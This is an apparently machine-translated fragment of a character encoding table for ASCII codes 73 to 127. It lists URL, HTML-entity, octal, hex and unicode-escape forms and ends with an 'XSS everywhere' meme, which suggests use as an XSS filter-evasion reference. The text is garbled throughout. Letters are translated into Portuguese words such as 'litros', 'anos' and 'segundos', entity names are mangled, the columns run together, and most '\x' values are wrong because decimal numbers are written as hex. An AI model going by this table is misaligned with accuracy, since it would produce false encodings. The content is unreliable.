73 eu		%49		M \115 \x77 \u004D N			
74J _		%4A		\116 \x78 \u004E O \117 \x79			
75K %4B				\u004F P \120 \x80 \u0050			
76 litros		%4C		Q \121 \x81 \u0051 R \122			
77 M %4D				\x82 \u0052 S \123 \x83 \u0053			
78 N %4E				T \124 \x84 \u0054 U \125			
79 O		%4F		\x85 \u0055 V \126 \x86 \u0056			
80 P		%50		W \127 \x87 \u0057 X \130			
81 Q		% 51		\x88 \u0058 Y \131 \x89 \u0059			
82 R		% 52		Z \132 \x90 \u005A			
83S		% 53					
84 T		% 54					
85U		% 55					
86 Em % 56							
87 em % 57							
88X _		% 58					
89 anos		% 59					
90 Z %5A							

91 [	%5B &lqsb; [	[\133 \x91 \u005B					
92 \	%5C \	\ \134 \x92 \u005C]					
93]	%5D &rqsb;]	\135 \x93 \u005D					
94 ^	%5E^	^ \136 \x94 \u005E _					
95 _	%5F _ %60	\137 \x95 \u005F ` \140 \x96					
96 `	` `	\u0060					
97 a	%61	a \141 \x97 \u0061 b					
98b	% 62	\142 \x98 \u0062 c \143 \x99					
99c	%63	\u0063 d \144 \x100 \u0064					
100 dias	%64	e \145 \x101 \u0065 f					
101 e	%65	\146 \x102 \u0066 g \147					
102 f	%66	\x103 \u0067 h \150 \x104					
103g	%67	\u0068 i \151 \x105 \u0069					
104h	%68	j \152 \x106 \u006A k					
105 eu	%69	\153 \x107 \u006B l \154					
106 j	%6A	\x108 \u006C m \155 \x109					
107 k	%6B	\u006D n \156 \x110 \u006E					
108 litros	%6C	o \157 \x111 \u006F p					
109 m %6D		\160 \x112 \u0070 q \161					
110 n	%6E	\x113 \u0071 r \162 \x114					
111 o	%6F	\u0072 s \163 \x115 \u0073					
112p	%70	t \164 \x116 \u0074 u					
113q	% 71	\165 \x117 \u0075 v \166					
114r	% 72	\x118 \u0076 w \167 \x119					
115 segundos	% 73	\u0077 x \170 \x120 \u0078					
116 t	% 74	y \171 \x121 \u0079 z					
117 em	%75	\172 \x122 \u007A { \173					
118 em	% 76	\x123 \u007B					
119 em % 77							
120 x	%78						
121 e	% 79						
122 z	%7A						
123 {	%7B[lcub; &braçadeira;						
124 |	%7C	&ver; &Linha vertical		\174 \x124 \u007C					
125 }	%7D} &braçadeira;	} \175 \x125 \u007D					
126 ~	%7E	~ \176 \x126 \u007E &#127;					
127 DEL %7F		\177 \x127 \u007F					

“XSS. XSS em todos os lugares.”
Buzz & Woody meme da internet.